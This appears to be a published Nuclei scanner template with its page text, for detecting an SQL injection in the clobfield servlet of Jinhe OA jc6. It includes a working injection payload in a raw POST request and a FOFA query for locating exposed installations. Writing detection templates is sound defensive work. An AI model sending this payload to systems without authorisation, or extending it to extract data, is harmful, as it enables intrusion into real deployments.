Jinhe OA - SQL Injection

ID: jinhe-jc6-sqli

Severity: high

Author: Ky9oss

Tags: jinher,jc6,sqli

Description

SQL injection vulnerability in the ljc6/servlet/clobfield interface of Jinhe OA jc6. An attacker can obtain sensitive information.

YAML Source

id: jinhe-jc6-sqli

info:
  name: Jinhe OA - SQL Injection
  author: Ky9oss
  severity: high
  description: |
    SQL injection vulnerability in the ljc6/servlet/clobfield interface of Jinhe OA jc6. An attacker can obtain sensitive information.
  reference:
    - https://github.com/wy876/POC/blob/main/%E9%87%91%E5%92%8COA%20jc6%20clobfield%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
    - https://blog.csdn.net/qq_41904294/article/details/135074649
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="金和协同管理平台"
  tags: jinher,jc6,sqli
variables:
  num: "{{rand_int(9000000, 9999999)}}"

http:
  - raw:
      - |
        POST /jc6/servlet/clobfield HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11' and CONVERT(int,(select%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27{{num}}%27))))=1 and ''='

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
          - "nvarchar"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220148cde3bd6d5479603a89ce50d2d98d3077e884e843ce6444bdfb552af0695a6022023b0353a9ef0df082f45df1f4520343b154bf544ef78f260029f971362da0887:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/jinhe/jinhe-jc6-sqli.yaml"

View on Github